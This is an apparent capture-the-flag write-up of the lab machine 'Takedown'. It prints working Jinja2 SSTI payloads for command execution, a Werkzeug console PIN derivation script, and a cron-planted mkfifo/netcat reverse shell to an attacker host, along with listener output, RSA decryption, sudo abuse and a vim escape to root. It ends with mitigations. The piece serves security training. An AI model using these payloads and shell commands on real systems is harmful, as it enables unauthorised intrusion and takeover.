Post

Takedown

This machine is based on SSTI vulnerability, Werkzeug Console PIN generation, RSA private key generation and some binary exploitations.

Takedown
Machine Link πŸ›‘οΈTakedown
Operating SystemLinux
DifficultyHard
Machine Created byh1dr0

1️⃣ Introduction

Short description:
Takedown is a vulnerable web application hosted on shieldweb.che that demonstrates server-side template injection (SSTI) in a Flask/Jinja2 environment with a hidden Werkzeug console, misconfigured cron jobs, and weak sudo policies.

  • Learning goals/techniques:
    • Exploit Jinja2 SSTI to achieve remote code execution
    • Bypass the Flask/Werkzeug console PIN
    • Leverage misconfigured cron jobs for initial shell
    • Chain NOPASSWD sudo and custom binaries for privilege escalation
    • Decrypt RSA-encrypted files to pivot users
  • Concepts practiced: SSTI, Werkzeug console PIN exploit, cron abuse, sudo NOPASSWD, RSA key decryption, custom binary exploitation.

2️⃣ Port Scanning

Why:

Shows the methodology used to discover open ports and services before enumeration.

Commands:

1
nmap -sC -sV -p- -vv -T4 -oN Nmap_Result.txt 10.0.2.29
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey: 
|   3072 51:fb:66:e0:d2:b6:ae:16:a9:d2:74:41:a5:b3:02:2b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNrGurGrC51vPjC249Gl7CRJKtMSbGlxybwXrM/S5/OMVUAukNmyAEmlbu9tRLV5zNV3YId6j2whVyaD14/mad8E1FpmZvY0NHByW4mhINl1vkAP1ugvxIgSHOGq+lqm0m9KP8rIO6QNJt4+0DwnhBcc5qntmgueyjqBm4w/JKK3MIfPeVwO/eLOtxfARrKgBp8yYMWQ1uE7y9UBTxdO7zJ4Qmw7VLUbb9ul+b28V/M6h9yvnbiPaZ+WfOXQXBmeLP509J9rIrJxUGLelQs5HYe7kPSDRGsdVD8wzvlIkSJvvLkm6MHkN1qIXYOQXxlxX7c2Sm60aFvG5KJBOYceWeYovB6xeTZfNjl3qCFHF6nEwHIw8xjESwmykyn4fb27uR9w8SL64OBtiOBFf8TLNfM9Avt4kGPHObgd/2eR2xuwiv6DTPwBNx8ThWt9QPjXh2BVc4ea3PoD5Ua6wKm3daj0ap+16hJI55miOu+1Stw4UVvhB3ErURRXabaUP4tH0=
|   256 93:a0:01:6c:42:cd:26:bf:38:e5:70:fb:b8:c6:b3:fe (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH9YPJJZMdKeUU0dnv7cwV1/NXw1vpInx/uKPqxdqPPPt8/h0QuioHCGa5jQ8NRhUjCC72N0301UXY8ZpofgCus=
|   256 77:c9:ed:41:a5:cb:30:33:08:22:88:f6:a8:28:11:8d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGGTQ9jwxYWbq1vbX8qge/QWDNqhrS7smDmpPaIRBZxG
80/tcp open  http    syn-ack ttl 64 nginx 1.18.0
|_http-title: Did not follow redirect to http://shieldweb.che/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:CB:B0:DF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Notes:

  • Discovered ports:

    • 22/tcp – OpenSSH 8.4p1 (Debian)

    • 80/tcp – nginx 1.18.0

  • Focused on port 80 (HTTP) for web attacks and port 22 for later SSH pivots.


3️⃣ Web Enumeration

Tools:

  • Hosts file mapping (shieldweb.che, ticket.shieldweb.che)

  • Browser + manual exploration

  • Burp Suite for intercepting requests

Content:

Now let’s see the port 80 seams like I need to set the /etc/hosts file entry in my machine from its domain name in order to access it.

shieldweb.che

Now I got a simple cybersecurity dashboard site that looks like this πŸ”»

Dashboard site of shieldweb.che domain

Now I can access contact option but that require other subdomain entry in my hosts file that is ticket.shieldweb.che.

After setting the hosts file, I got a form like contact page that looks like this πŸ”»

Contact page that is in translated mode


4️⃣ Vulnerability Identification

SSTI (Server-Side Template Injection)

  • What it is:
    Arbitrary template execution in Jinja2 allowing Python code injection.

  • Why vulnerable:
    Unfiltered template expressions passed directly into jinja2.Template.

  • References:

Now try to make some injection attacks into these fields and turns out I got success in SSTI which is running jinja2 python framework on the victims machine end also this is werkzeug site from the error I came to know.

Form submitted with SSTI injection and got success

Lets check other payloads for command execution like idπŸ”»

1
{{''.__class__.__mro__[1].__subclasses__()[407] ('id',shell=True,stdout=-1).communicate()}}

Burpsuite response error got werkzeug running on this site

If werkzeug is running on this site that means it can have /console also lets check πŸ”»

Got /console pin entering page

As I have Command execution on this name parameter of Contact form so lets collect some data for cracking this pin.

Werkzeug Console PIN Bypass

  • What it is:
    Flask’s built-in debugger console protected by a PIN, derivable from app secrets.

  • Why vulnerable:
    Exposed /console endpoint combined with known Flask/Werkzeug session secrets.

  • References:

To exploit the console PIN, two sets of variables,Β probably_public_bitsΒ andΒ private_bits, are needed:

probably_public_bits

  • username: Refers to the user who initiated the Flask session.
  • modname: Typically designated asΒ flask.app.
  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Generally resolves toΒ Flask.
  • getattr(mod, '__file__', None): Represents the full path toΒ app.pyΒ within the Flask directory (e.g.,Β /usr/local/lib/python3.5/dist-packages/flask/app.py). IfΒ app.pyΒ is not applicable,Β tryΒ app.pyc.

private_bits

  • uuid.getnode(): Fetches the MAC address of the current machine, withΒ str(uuid.getnode())Β translating it into a decimal format.

    • ToΒ determine the server’s MAC address, one must identify the active network interface used by the app (e.g.,Β ens3). In cases of uncertainty,Β leakΒ /proc/net/arpΒ to find the device ID, thenΒ extract the MAC addressΒ fromΒ /sys/class/net/<device id>/address.

    • Conversion of a hexadecimal MAC address to decimal can be performed as shown below:

      # Example MAC address: 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692

  • get_machine_id(): Concatenates data fromΒ /etc/machine-idΒ orΒ /proc/sys/kernel/random/boot_idΒ with the first line ofΒ /proc/self/cgroupΒ post the last slash (/).

    machine-id = /etc/machine-idΒ orΒ /proc/sys/kernel/random/boot_idΒ + Β /proc/self/cgroupΒ [last string from last slash (/)]

Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN:

Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN. The script uses the assembledΒ probably_public_bitsΒ andΒ private_bitsΒ to create a hash, which then undergoes further processing to produce the final PIN. Below is the Python code link for executing this process:

Code from Hacktricks

Now lets extract these data’s πŸ”»

I used this command to extract the informations :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python3 -c \'
import os, uuid, getpass, flask
print("=== probably_public_bits ===")
print("username:", getpass.getuser())
print("modname: flask.app")
print("attr_name: Flask")
print("mod_file:", flask.__file__)
print("=== private_bits ===")
print("mac_addr:", str(uuid.getnode()))
print("machine-id: ")
#print("/etc/machine-id:", open("/etc/machine-id").read())
print("/proc/sys/kernel/random/boot_id:", open("/proc/sys/kernel/random/boot_id").read().splitlines()[-1])
print("cgroup_line:", open("/proc/self/cgroup").read().splitlines()[-1])
\'

I url encoded it and then ran it then I got the values like this πŸ”»

1
name={{+cycler.__init__.__globals__.os.popen('python3%20-c%20%5c'%0aimport%20os%2c%20uuid%2c%20getpass%2c%20flask%0aprint(%22%3d%3d%3d%20probably_public_bits%20%3d%3d%3d%22)%0aprint(%22username%3a%22%2c%20getpass.getuser())%0aprint(%22modname%3a%20flask.app%22)%0aprint(%22attr_name%3a%20Flask%22)%0aprint(%22mod_file%3a%22%2c%20flask.__file__)%0aprint(%22%3d%3d%3d%20private_bits%20%3d%3d%3d%22)%0aprint(%22mac_addr%3a%22%2c%20str(uuid.getnode()))%0aprint(%22machine-id%3a%20%22)%0a%23print(%22%2fetc%2fmachine-id%3a%22%2c%20open(%22%2fetc%2fmachine-id%22).read())%0aprint(%22%2fproc%2fsys%2fkernel%2frandom%2fboot_id%3a%22%2c%20open(%22%2fproc%2fsys%2fkernel%2frandom%2fboot_id%22).read().splitlines()%5b-1%5d)%0aprint(%22cgroup_line%3a%22%2c%20open(%22%2fproc%2fself%2fcgroup%22).read().splitlines()%5b-1%5d)%5c'').read()+}}

Extracted all needed data from burpsuite

Now lets organize these data’s πŸ”»

As in the code /etc/machine-id is not present in the system so it is commented out so that I can have the data that is present. Also mod file can be __init__.py file or it will be app.py so try it out.

1
2
# machine-id = /etc/machine-idΒ orΒ /proc/sys/kernel/random/boot_idΒ + Β /proc/self/cgroupΒ [last string from last slash ('/')] 
machine-id = f9b22eba-88b0-4bd8-86de-215537ccb4c8

Now lets fill this up run PIN generating code πŸ”»

1
2
3
4
5
6
7
8
9
10
11
12
13
probably_public_bits = [
	'root',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	'2485378154498',# str(uuid.getnode()),  /sys/class/net/ens33/address 
	# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
	'f9b22eba-88b0-4bd8-86de-215537ccb4c8'
]

After running this code I got the PIN πŸ”»

1
2
└─$ python3 werkzeug-pin-bypass.py  
Pin: 330-082-229

5️⃣ Exploitation

SSTI β†’ RCE

I got the Interactive Console πŸ”»

console page

I can read/write data from this console but can’t execute it so I was not able to get a shell though some enumeration I got some hints like from /var/log directory I got some messages like this πŸ”»

hints I got from /var/log directory

I translated the message of access.yml file and it look like this πŸ”»

1
2
3
4
5
6
7
8
9
10
11
12
13
2023-08-31 10:15:42 - User: jsmith - Action: Login successful
2023-08-31 11:20:18 - User: a_doe - Action: Access to folder /data/confidential
2023-08-31 12:45:29 - User: s_miller - Action: Unauthorized access attempt
2023-08-31 14:30:05 - User: jdoe - Action: Create file new_report.txt
2023-08-31 15:10:22 - User: r_jones - Action: Logout

2023-08-31 16:55:11 - User: l_smith - Action: Edit file quarterly_report.docx
2023-08-31 18:02:45 - User: jbrown - Action: Accidental deletion of important file.pdf
2023-08-31 19:40:30 - User: c_wilson - Action: Copying files to shared folder /data/public
2023-08-31 20:15:17 - User: m_johnson - Action: Password change successful
2023-08-31 21:30:59 - User: k_adams - Action: Download confidential_backup.zip file

2023-08-31 22:45:00 - User: A.love - Action: Cron job executed: */5 * * * * root bash /home/love/script/*

It looks like we have a cron running on script directory every 5 minutes so lets include a reverse shell file into this /script file.

1
2
3
>>> with open('/script/shell.sh','a') as f: f.write('\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.15 4444 >/tmp/f')
>>> os.listdir('/script')
>>> __import__('os').popen('cat /script/shell.sh').read();

Reverse shell is saved in /script directory

Also I changed the permission of this file as executable for every user in similar manner. Now its time to catch the reverse shell.


6️⃣ Getting Shell

Here is the reverse shell response on nc port 4444 at attackers end πŸ”»

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$ rlwrap -f . nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.29] 56712
/bin/sh: 0: cant access tty; job control turned off
$ whoami
love
$ id
uid=1002(love) gid=1002(love) grupos=1002(love)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'


love@osiris:~$ 
love@osiris:~$ export TERM=xterm
export TERM=xterm
love@osiris:~$ ls -al
ls -al
total 32
drwxr-xr-x 3 love love 4096 jun 28 18:44 .
drwxr-xr-x 6 root root 4096 ago 31  2023 ..
lrwxrwxrwx 1 love love    9 jul  9  2023 .bash_history -> /dev/null
-rw-r--r-- 1 love love  220 jul  9  2023 .bash_logout
-rw-r--r-- 1 love love 3526 jul  9  2023 .bashrc
drwxr-xr-x 3 love love 4096 jul  9  2023 .local
-rw-r--r-- 1 love love   83 jul  9  2023 note.txt
-rw-r--r-- 1 love love  807 jul  9  2023 .profile
-rw-r--r-- 1 love love   66 jul  9  2023 .selected_editor
love@osiris:~$ cat note.txt
cat note.txt
A.love:

Kevin this is a good icebreaker

we have icebreaker

jajajajjaja

S.A.S.

love@osiris:~$ sudo -l
sudo -l
Matching Defaults entries for love on osiris:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User love may run the following commands on osiris:
    (mitnick) NOPASSWD: /home/mitnick/sas
love@osiris:~$ 

I can see that I am user love on this machine and I got sudo privileges to be mitnick user by executing this binary /home/mitnick/sas.


7️⃣ Post-Exploitation Enumeration

Let’s use this sudo privilege for mitnick user to get its shell πŸ”»

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
love@osiris:~$ sudo -u mitnick /home/mitnick/sas
sudo -u mitnick /home/mitnick/sas
  SSSSS            AAA             SSSSS 
 S     S          A   A           S     S
 S               A     A          S      
  SSSSS          A     A           SSSSS 
       S   ###   AAAAAAA    ###         S
 S     S   ###   A     A    ###   S     S
  SSSSS          A     A           SSSSS 
SAS v1.0
(c) SWITCHED ACCESS SERVICES 2023 Aquilino Morcillo

sas -h Available commands
# whoami
whoami
mitnick

# sas -h
sas -h
Available commands:
sas_call - listen to Services
ls - List files and directories
cat <filename> - Display contents of a file
whoami - Show current user
sas help (-h) - Show available commands
version (-v) - Show application version
run <filename> - Execute a file
dir - Show the content of the current directory in wide format
# 

Now I have entered into a program inside mitnick user shell and I have these above options to execute some commands, since I have run command that will require a filename to execute so lets run the reverse shell that we entered earlier which is in /script directory. But I can’t seams to find it, So lets check the crontab for that πŸ”»

1
2
3
4
love@osiris:~$ crontab -l | grep -v '#'
crontab -l | grep -v '#'
*/5  * * * * bash /dev/shm/love/script/*
love@osiris:~$ 

As I thought the file path is different that’s I was unable to find out this file so lets execute this script of mine and catch the response of the reverse shell on port 4444 in attacker machine πŸ”½

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ rlwrap -f . nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.29] 56252
/bin/sh: 0: cant access tty; job control turned off
$ 
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
mitnick@osiris:/home/love$ whoami
mitnick
mitnick@osiris:/home/love$ id
uid=1003(mitnick) gid=1003(mitnick) grupos=1003(mitnick)
mitnick@osiris:/home/love$ cd ~
mitnick@osiris:~$ ls -al
total 2468
drwxr-xr-x 4 mitnick mitnick    4096 jul 31 10:43  .
drwxr-xr-x 6 root    root       4096 ago 31  2023  ..
-rw-r--r-- 1 mitnick mitnick       0 jul 30 14:39 ''$'\001''0'$'\254\002''@@8'$'\003''@'$'\001\005\250\265\002\250\265\002\020\001\006\300\002\300\002\260\302\003\020''Q'$'\345''td'$'\006\020\344'
lrwxrwxrwx 1 mitnick mitnick       9 ago 31  2023  .bash_history -> /dev/null
-rw-r--r-- 1 mitnick mitnick     220 ago 31  2023  .bash_logout
-rw-r--r-- 1 mitnick mitnick    3526 ago 31  2023  .bashrc
drwxr-xr-x 3 mitnick mitnick    4096 ago 31  2023  .local
-rw-r--r-- 1 mitnick mitnick     807 ago 31  2023  .profile
-rw-r--r-- 1 mitnick mitnick     138 ago 31  2023  publickey.pub
-rwx-----x 1 mitnick mitnick 2486396 ago 31  2023  sas
-rw-r--r-- 1 mitnick mitnick      32 ago 31  2023  secret.enc
drwx------ 2 mitnick mitnick    4096 sep  1  2023  .ssh
-rw-r--r-- 1 mitnick mitnick       0 jul 30 14:39 ''$'\354\b''UPX!'$'\200'
mitnick@osiris:~$ 

I got a pubic key (publickey.pub) along with a secret key(secret.enc) looks like I am dealing with RSA keys and to decrypt the private keys I need both keys so lets transfer these files into attacker machine with nc command.

Transferring files with nc command

For RSA private key decryption I will be using this tool.

RsaCtfTool

This is how I installed it in my system ⏬

1
2
3
4
apt install python3-virtualenv
virtualenv venv
source venv/bin/activate
pip install git+https://github.com/RsaCtfTool/RsaCtfTool

Let’s run this Tool to get private key and a decoded strings πŸ”»

1
└─$ RsaCtfTool --publickey publickey.pub --decryptfile secret.enc --private 

RsaCtfTool used to decrypt private and its value


8️⃣ Privilege Escalation

RSA Decrypt β†’ User tomu

  • Why chosen: Found publickey.pub + secret.enc in mitnick’s home

  • Steps:

    1. Transferred keys via nc.

    2. Decrypted using RsaCtfTool:

      1
      2
      
       RsaCtfTool --publickey publickey.pub --decryptfile secret.enc --private
       # β†’ recovered password β€œ<redacted>”
      
    3. SSH into tomu@10.0.2.29 with recovered password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
└─$ ssh tomu@10.0.2.29                                         
tomu@10.0.2.29s password: 
Linux osiris 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jul 30 20:06:55 2025 from 10.0.2.15
tomu@osiris:~$ whoami
tomu
tomu@osiris:~$ id
uid=1001(tomu) gid=1001(tomu) grupos=1001(tomu)
tomu@osiris:~$ ls -al
total 48
drwxr-xr-x 4 tomu tomu 4096 jun  2  2024 .
drwxr-xr-x 6 root root 4096 ago 31  2023 ..
lrwxrwxrwx 1 tomu tomu    9 jul  9  2023 .bash_history -> /dev/null
-rw-r--r-- 1 tomu tomu  220 jul  9  2023 .bash_logout
-rw-r--r-- 1 tomu tomu 3526 jul  9  2023 .bashrc
drwxr-xr-x 3 tomu tomu 4096 ago 30  2023 .local
-rw-r--r-- 1 tomu tomu 3972 ago 30  2023 nokitel.md
-rw-r--r-- 1 tomu tomu 8587 ago 30  2023 nokitel.png
-rw-r--r-- 1 tomu tomu  807 jul  9  2023 .profile
drwx------ 2 tomu tomu 4096 jul 31  2023 .ssh
-rw------- 1 tomu tomu   33 jun  2  2024 user.txt
tomu@osiris:~$ sudo -l
[sudo] password for tomu: 
Matching Defaults entries for tomu on osiris:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tomu may run the following commands on osiris:
    (root) /opt/Contempt/Contempt
tomu@osiris:~$ 

Sudo β†’ Root

  • Why chosen: tomu can run /opt/Contempt/Contempt as root

  • Steps:

1
2
sudo -u root /opt/Contempt/Contempt
# Chose option to open vim β†’ used `:!/bin/bash -i` β†’ got root shell

This leads to the opening of a binary file that asks options I choose 2 Ayuda (means Aid).

Program executed and I choose 2nd option

Here It is asking me to enter some commands πŸ”»

This tells me to enter a command

I entered into the vim text editor and that’s when I entered :!/bin/bash -i and hit enter.


9️⃣ Root Access

I got the root shell πŸ‘Ύ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@osiris:/home/tomu# whoami
root
root@osiris:/home/tomu# cd ~
root@osiris:~# id
uid=0(root) gid=0(root) grupos=0(root)
root@osiris:~# ls -al
total 28
drwx------  3 root root 4096 jun  2  2024 .
drwxr-xr-x 18 root root 4096 jul  9  2023 ..
lrwxrwxrwx  1 root root    9 jun 26  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 abr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 mar 28  2023 .local
-rw-r--r--  1 root root  161 jul  9  2019 .profile
-rwxr-xr-x  1 root root 1654 jun  2  2024 root.sh
-rw-r--r--  1 root root   66 ago 30  2023 .selected_editor
root@osiris:~# ./root.sh


β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—    β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—  β–ˆβ–ˆβ•—
β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•    β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—      β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• 
β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•”β•β•β•      β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•— 
β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—    β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•—
β•šβ•β•     β•šβ•β•  β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•    β•šβ•β•     β•šβ•β•β•šβ•β•   β•šβ•β•   β•šβ•β•  β•šβ•β•β•β•β•šβ•β• β•šβ•β•β•β•β•β•β•šβ•β•  β•šβ•β•
	
flag --> 1e271c5---------------------------
root@osiris:~# 

πŸ” Mitigation

βœ… Sanitize template inputs (disable direct Jinja2 evaluation)
βœ… Disable or secure Flask/Werkzeug console in production
βœ… Harden cron jobs (limit to specific scripts; avoid directory wildcards)
βœ… Remove NOPASSWD entries; enforce least privilege
βœ… Secure key storage; avoid storing both public + encrypted private keys on server


πŸ’‘ Takeaways

βœ… Learned to chain SSTI β†’ console PIN bypass β†’ cron abuse β†’ sudo exploits β†’ RSA decryption β†’ custom binary exploit
βœ… Reinforced defense-in-depth: multiple misconfigurations compound risk
βœ… Importance of auditing cron entries, sudo rules, and sensitive file permissions


πŸ“Œ References


If you have any questions or suggestions, please leave a comment below or DM me on Twitter. Thank you!


This post is licensed under CC BY 4.0 by the author.